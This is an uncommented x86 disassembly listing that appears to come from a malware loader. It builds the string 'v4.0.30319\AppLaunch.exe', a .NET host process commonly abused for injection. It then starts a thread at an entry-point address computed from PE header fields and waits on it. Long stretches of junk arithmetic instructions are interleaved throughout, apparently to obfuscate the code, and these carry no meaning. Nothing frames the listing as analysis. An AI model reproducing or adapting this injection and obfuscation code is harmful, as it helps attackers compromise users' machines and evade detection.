mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x409508
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401220
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
imul edi
rcl eax, 0x31
add eax, 0x89
mov esi, 0xff
rcl esi, 0x9b
bswap edx
ror ebx, 0x9b
rol edx, 0xe6
inc edi
inc edx
or edx, 0xec
inc ebx
dec ebx
or ebx, 0x83
not esi
neg edx
rcl eax, 0xde
dec eax
dec esi
neg esi
not edx
or ebx, 0x2e
inc eax
not edx
rol esi, 0xf9
neg edi
and edi, 0x58
dec esi
rcr edi, 3
bswap eax
or edi, 0x7b
neg eax
imul edx
not edi
not ebx
add eax, 0x1a
sub esi, 0x29
dec edx
not eax
inc edi
neg edx
bswap ebx
ror esi, 0x89
dec eax
not ebx
and ebx, 0xf7
bswap eax
rcl esi, 0xb5
imul ebx
not edx
neg edi
imul edx
add eax, 0x9c
inc edi
rol esi, 0x21
rcr edi, 0x52
imul ebx
bswap eax
rol ebx, 0xd4
imul edx
dec ebx
imul eax
neg ebx
dec edx
mov eax, 0x80
dec edx
rcr edi, 0
inc edx
rol edx, 0xc
mov edi, 0xd6
rcl edi, 0x3f
neg esi
dec edi
bswap ebx
sbb ebx, 0x8a
neg edx
rcr eax, 0x44
dec ebx
bswap ebx
and esi, 0xe1
neg edi
inc edi
and edx, 0x60
sub edx, 0x72
mov ebx, 0x7b
inc ebx
neg eax
not edi
not edx
bswap esi
rol esi, 0x10
not esi
dec eax
bswap edx
bswap ebx
add eax, 0x4f
inc edx
rcl ebx, 0x29
not esi
ror edi, 0xf3
rcl edi, 0x5b
rcl edx, 0xf3
bswap edi
sbb edi, 0x37
dec esi
rcr edi, 0xd1
sub edx, 0x2d
add edi, 0x97
ror esi, 0x68
rol eax, 0x56
or ebx, 0xd5
not eax
rcr edx, 0x92
bswap esi
neg esi
inc edi
ror eax, 0xa0
not edx
bswap eax
and edi, 0x20
sub edi, 0x74
rcr ebx, 0xdc
and edi, 0xc8
not edi
or ebx, 0x41
or eax, 0x94
neg ebx
rol ebx, 0x7d
sbb edx, 0x98
and edi, 0x11
dec eax
rcl esi, 0xd8
dec esi
sub ebx, 0xa2
bswap ebx
bswap esi
or esi, 0xf7
rcl eax, 0x21
neg edx
rcl ebx, 0x3c
dec edx
bswap ebx
bswap edx
not edx
rol eax, 0xed
rcl edx, 0xfc
not eax
add ebx, 0x6e
imul edx
sub eax, 0x40
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x4096dc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401220
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
dec edi
and edi, 0xa7
dec eax
or eax, 0x80
not edx
sbb ebx, 0x85
and eax, 0x42
not eax
not esi
rol ebx, 0xa7
add eax, 0x9a
bswap edi
inc edx
rcl ebx, 0x56
dec edi
neg esi
bswap ebx
bswap eax
imul esi
add edx, 0x2d
not esi
dec ebx
not eax
dec ebx
neg edx
bswap eax
add ebx, 0x4b
neg edx
add edx, 0xe2
neg edi
not ebx
imul edx
inc esi
rcl edx, 0xb4
rol esi, 0xfa
bswap esi
bswap esi
bswap esi
ror edx, 0xb1
imul edx
not edi
inc esi
not edx
rcl edi, 0xbd
or eax, 0xef
or ebx, 0x8d
rcl edi, 0x8c
not edx
or ebx, 0x22
not edi
inc edx
sub eax, 0x16
neg edi
bswap edx
rcl edi, 0x4e
not eax
add edi, 0xad
and eax, 0x21
mov eax, 0x9e
inc esi
not ebx
bswap eax
dec ebx
dec edx
not edx
sbb eax, 0xf1
neg edi
imul edi
rcl eax, 0x94
inc edx
dec edi
bswap eax
inc edx
rol ebx, 0xbb
inc edi
rcl eax, 0x76
not edi
ror eax, 0xc9
dec edx
bswap ebx
or ebx, 0xf5
and eax, 0xed
neg eax
neg ebx
bswap ebx
mov ebx, 0xa8
inc ebx
bswap esi
ror edx, 0x90
imul edx
imul edx
rcr esi, 0x9a
inc esi
bswap eax
inc esi
dec ebx
imul esi
dec ebx
and eax, 0x8d
mov esi, 0x46
dec edi
ror ebx, 0xe0
add edx, 0xfe
or ebx, 0xa6
not edi
and edi, 0x9e
ror eax, 1
or edx, 0x7a
rol edx, 0xc2
and esi, 0x68
imul eax
sub ebx, 0x56
imul edi
imul eax
imul ebx
rcl esi, 0xe1
rol edx, 0xb5
not esi
sbb edi, 0xf6
mov edi, pe_nt_image_headers32
bswap eax
mov edi, 0xf6
add edi, 0x70
sub edx, 0x32
imul edx
dec esi
bswap edx
imul eax
mov edx, 0x51
dec edi
mov ebx, 0xad
imul edx
inc eax
inc edx
imul esi
add esi, 0xcb
inc ebx
dec edi
sub eax, 0x17
dec edi
neg eax
mov eax, 0xae
imul esi
add edx, 0xad
sbb ebx, 0xd6
not ebx
neg ebx
ror eax, 0xa3
imul esi
sub esi, 0x84
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret